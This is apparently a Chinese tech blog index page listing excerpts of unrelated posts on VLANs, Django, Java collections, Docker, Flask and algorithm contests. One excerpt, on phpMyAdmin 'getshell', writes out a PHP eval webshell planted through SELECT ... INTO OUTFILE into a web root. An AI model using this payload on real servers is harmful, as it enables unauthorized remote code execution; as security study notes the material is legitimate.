一个非科班出生Java程序员的阿里之路:JVM+分布式+Spring+数据库
拿到 阿里实习offer,经历了5次面试,其中4轮技术面,1轮HR面试。在这里分享一下自己的面试经验和学习总结。希望能够帮助更多的小伙伴。
network (20191029)
vlan控制广播增加安全提高带宽利用率延迟降低vlan可以创建4096个,范围是0~4095,但普通交换机在1000+左右vlan配置方法:1,创建所需的vlan2,将接口加入对应的vlanvlan2创建vlan2vlan3undovlan3删除vlan3vlanbatch3to5批量创建undovlanbatch3to5批量删除ine0/0/3portlink-typeaccess修改接口类型,
CIKERS Shane 20191030
昨天到今天的这一晚,又只睡了4个小时。所以最终感冒加重了,今天停了咖啡,结果一天睡着好几次,睡了两次八十多分钟的趴桌上觉……. CIKERS足球队今天踢北大校友赵田力朋友队,估计踢不过?
django之ORM介绍
ORM 在进入ORM之前,先看一下传统的操作数据库的方式: import pymysql
db = pymysql.connect(db= "guest",
user="root",
passwd="",
host="127.0.0.1",)
cursor = db.cursor()
cursor.execute("select realname from sign_guest order by create_time")
name
Java学习笔记十一--集合二
set中的add方法不能存在重复元素,,其重写equals和hashcode方法, 常见的实现类有Hashset(),Linkedhashset,Treeset HashSet方法 保证唯一性是通过hashcode和equals方法; 哈希表底层使用数组机制,数组中存储对象,而这些对象的存储位置比较特殊,会根据这些对象的特殊数据结合相应的算法,计算出对象的位置,然后存放在数组中,这样的数组叫哈希数组,也就是哈希表。 写自定义类(有属性的)必须重写hashcode和equals,toString
Docker入门以及漏洞环境搭建(10.23 第二十五天)
Docker:开源的应用程序容器引擎,使用Go语言。借助于docker打包的应用程序,将这些应用程序 包含在容器里面,在容器中实现虚拟化,容器使用的是沙箱机制,相互独立,占用资源非常少。 Docker三个概念: 镜像:image,docker镜像是一个只读的模板,比如我们在镜像中包含完整的操作系统,在操作系统中可以安装LAMP环境,镜像可以创建容器。 容器:container,docker利用容器运行程序,容器是镜像中创建运行的实例,容器可以运行、关闭、删除的。 仓库:repository,集
2019-2020-1学期20192429《网络空间安全专业导论》第四周学习总结
2019-2020-1学期20192429《网络空间安全专业导论》第四周学习总结 # 第八章 抽象数据类型与子程序 # 8.1 抽象数据类型 抽象数据类型(Abstract Data Type,ADT):属性(数据和操作)明确地与特定实现分离的容器 目标:通过抽象减小复杂度。 Q:如何通过抽象减小复杂度 计算机领域,可以通过从应用层,逻辑三个方面观察数据层和实现层 应用(或用户)层:特定问题中的数据的视图 逻辑(或抽象)层:数据值(域)和处理它们操作的抽象视图 实
postman + restsharp 做Http请求爬虫
1、Postman 模拟请求完成之后,点击右上角的 code 按钮,复制代码。 2、在Vs2019 Nuget 包管理器中 添加 restsharp.dll, 3、粘贴到 Vs2019 中,运行即可,即可进行Http 请求。 PS: 需要预登陆时,预登陆请求获得的Session相关的Cookie,需要放到数据请求的cookie中。
2019 年 10 月训练赛(10.30)
2019 年 10 月训练赛 题目名称 相似围栏 路径异或 路径乘积 程序文件名 fence pathxor waymul 输入文件名 fence.in pathxor.in waymul.in 输出文件名 fence.out pathxor.out waymul.out 每个测试点时限 1 sec 1 sec 4 sec 测试点数目 10 10 10 每个测试点分值 10 10 10 内存限制 256m 256m 512m 题目类型 传统型 传统型 传统型 1. 相似围栏 (fence.pa
Django之cookie与session、中间件
目录 cookie与session 为什么会有cookie和session cookie 设置cookie 获取cookie 删除cookie 实例:cookie版登录校验 session 设置session 获取session 删除session session也可以设置超时时间 实例:session版登录校验 django中间件 应用场景 自定义方法 django请求生命周期流程图 中间件之前端操作 跨站请求伪造(csrf) 钓鱼网站实例 防钓鱼网站策略 CBV加装饰器 csrf_exem
PHPmyadmin Getshell(10.25 第二十七天)
PHPmyadmin Getshell的方法 (1)show global variables like '% secure-file-priv%' 如果该参数设置为空或者指定的文件夹可以利用,然后写木马。 select "<?php @eval($_POST[k]);?>" into outfile "/var/www/html/conf.php"; (2)利用日志文件getshell 常见的日志文件分为业务日志(常见服务)和系统日志(windows、linux),利用phpmyadmin的
[BZOJ 1535] [Luogu 3426]SZA-Template (KMP+fail树+双向链表)
[BZOJ 1535] [Luogu 3426]SZA-Template (KMP+fail树+双向链表) 题面 Byteasar 想在墙上涂一段很长的字符,他为了做这件事从字符的前面一段中截取了一段作为模版. 然后将模版重复喷涂到相应的位置后就得到了他想要的字符序列.一个字符可以被喷涂很多次,但是一个位置不能喷涂不同的字符.做一个模版很费工夫,所以他想要模版的长度尽量小,求最小长度是多少. 拿样例来说ababbababbabababbabababbababbaba , 模版为前8个字符aba
居然要周末加班才解决这个问题
摘要 万万没想到,最近的一个任务居然在一周没有解决,弄得周六在家忙了一天,还没完成,直到周日早上灵光一闪,才完成了。坦白讲,我已经好久没有过这种体验了,被一个技术问题困扰了好几天,如此这般茫然失措,不过好在最后问题解决了。虽然这个任务可能你不会遇到特别相似的,但是我还是想把问题的解决过程分享给大家,顺便聊聊如何解决技术问题。 问题背景 需要将一个开源的python项目接入到公司的微服务体系(主要是java)中。开源的项目下文统称opa。 opa项目底层依赖一些c++库,比如openImageI
那些最近工作中遇到的插件(上个世纪版)
es5-shim es5-shim.js 是指在模拟不兼容es5语法的浏览器, 典型的ie 6/7/8浏览器 extract-text-webpack-plugin 他会将所有required的*.css模块抽取到分离的CSS文件, 所以你的样式不会内联到JS bundle, 而是在一个单独的CSS文件, 如果你的样式文件很大, 这样会提速, 因为CSS bundle和JS bundle 是平行加载的 使用 const ExtractTextPlugin = require("extr
flask四:URL两种传参方式(路径传参和get传参)
新建一个视图 第一种:路径传参:url/参数:<参数名>,然后再视图函数中接收参数 也可以指定数据类型 string:默认使用此数据类型,接收没有任何斜杠"\/"的文本 int:接收整形 float:接收浮点型 path:和string的类似,但是可以接受斜杠 uuid:只接收符合uuid的字符串,一般用于表的主键 使用uuid:10190dee-d9d4-4429-ad51-22f24c0a5ee1 any:可以指定多种数据类型。可以在一个url中映射多个资源 第二种:get传参:url?参
今日推荐
周排行